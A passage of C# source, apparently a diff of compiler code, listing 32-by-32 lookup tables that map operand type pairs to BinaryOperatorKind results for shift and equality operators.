BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + } + }; + + private static readonly BinaryOperatorKind[,] s_equality = new BinaryOperatorKind[32, 32] + { + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.String, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Bool, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Bool | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + 